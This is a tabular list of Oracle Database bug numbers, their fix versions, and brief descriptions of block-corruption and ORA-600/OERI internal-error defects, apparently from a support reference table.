8360192	11.1.0.7.6, 11.2.0.1	ORA-600 [kdBlkCheckError] [6110] / corruption from insert
8239658	10.2.0.5, 11.2.0.1	Dump / corruption writing row to compressed table
8198906	10.2.0.5, 11.2.0.1	OERI [kddummy_blkchk] / OERI [5467] for an aborted transaction of allocating extents
7715244	11.1.0.7.2, 11.2.0.1	Corruption on compressed tables. Error codes 6103 / 6110
7662491	10.2.0.4.2, 10.2.0.5, 11.1.0.7.4, 11.2.0.1	Array Update can corrupt a row. Errors OERI[kghstack_free1] or OERI[kddummy_blkchk][6110]
7411865	10.2.0.4.2, 10.2.0.5, 11.1.0.7.1, 11.2.0.1	OERI:13030 / ORA-1407 / block corruption from UPDATE .. RETURNING DML with trigger
7331181	11.2.0.1	ORA-1555 or OERI [kddummy_blkchk] [file#] [block#] [6126] during CR Rollback in query
7293156	11.1.0.7, 11.2.0.1	ORA-600 [2023] by Parallel Transaction Rollback when applying Multi-block undo Head-piece / Tail-piece
7041254	11.1.0.7.5, 11.2.0.1	ORA-19661 during RMAN restore check logical of compressed backup / IOT dummy key
6760697	10.2.0.4.3, 10.2.0.5, 11.1.0.7, 11.2.0.1	DBMS_SPACE_ADMIN.ASSM_SEGMENT_VERIFY does not detect certain segment header block corruption
6647480	10.2.0.4.4, 10.2.0.5, 11.1.0.7.3, 11.2.0.1	Corruption / OERI [kddummy_blkchk] .. [18021] with ASSM
6134368	10.2.0.5, 11.2.0.1	ORA-1407 / block corruption from UPDATE .. RETURNING DML with trigger – SUPERCEDED
6057203	10.2.0.4, 11.1.0.7, 11.2.0.1	Corruption with zero length column (ZLC) / OERI [kcbchg1_6] from Parallel update
6653934	10.2.0.4.2, 10.2.0.5, 11.1.0.7	Dump / block corruption from ONLINE segment shrink with ROWDEPENDENCIES
6674196	10.2.0.4, 10.2.0.5, 11.1.0.6	OERI / buffer cache corruption using ASM, OCFS or any ksfd client like ODM
5599596	10.2.0.4, 11.1.0.6	Block corruption / OERI [kddummy_blkchk] on clustered or compressed tables
5496041	10.2.0.4, 11.1.0.6	OERI[6006] / index corruption on compressed index
5386204	10.2.0.4.1, 10.2.0.5, 11.1.0.6	Block corruption / OERI[kddummy_blkchk] after direct load of ASSM segment
5363584	10.2.0.4, 11.1.0.6	Array insert into table can corrupt redo
4602031	10.2.0.2, 11.1.0.6	Block corruption from UPDATE or MERGE into compressed table
4493447	11.1.0.6	Spurious ORA-600 [kddummy_blkchk] [file#] [block#] [6145] on rollback of array update
4329302	11.1.0.6	OERI [kddummy_blkchk] [file#] [block#] [6145] on rollback of update with logminer
6075487	10.2.0.4	OERI[kddummy_blkchk]..[18020/18026] for DDL on plugged ASSM tablespace with FLASHBACK
4054640	10.1.0.5, 10.2.0.1	Block corruption / OERI [kddummy_blkchk] at physical standby
4000840	10.1.0.4, 10.2.0.1, 9.2.0.7	Update of a row with more than 255 columns can cause block corruption
3772033	9.2.0.7, 10.1.0.4, 10.2.0.1	OERI[ktspfmb_create1] creating a LOB in ASSM using 2k blocksize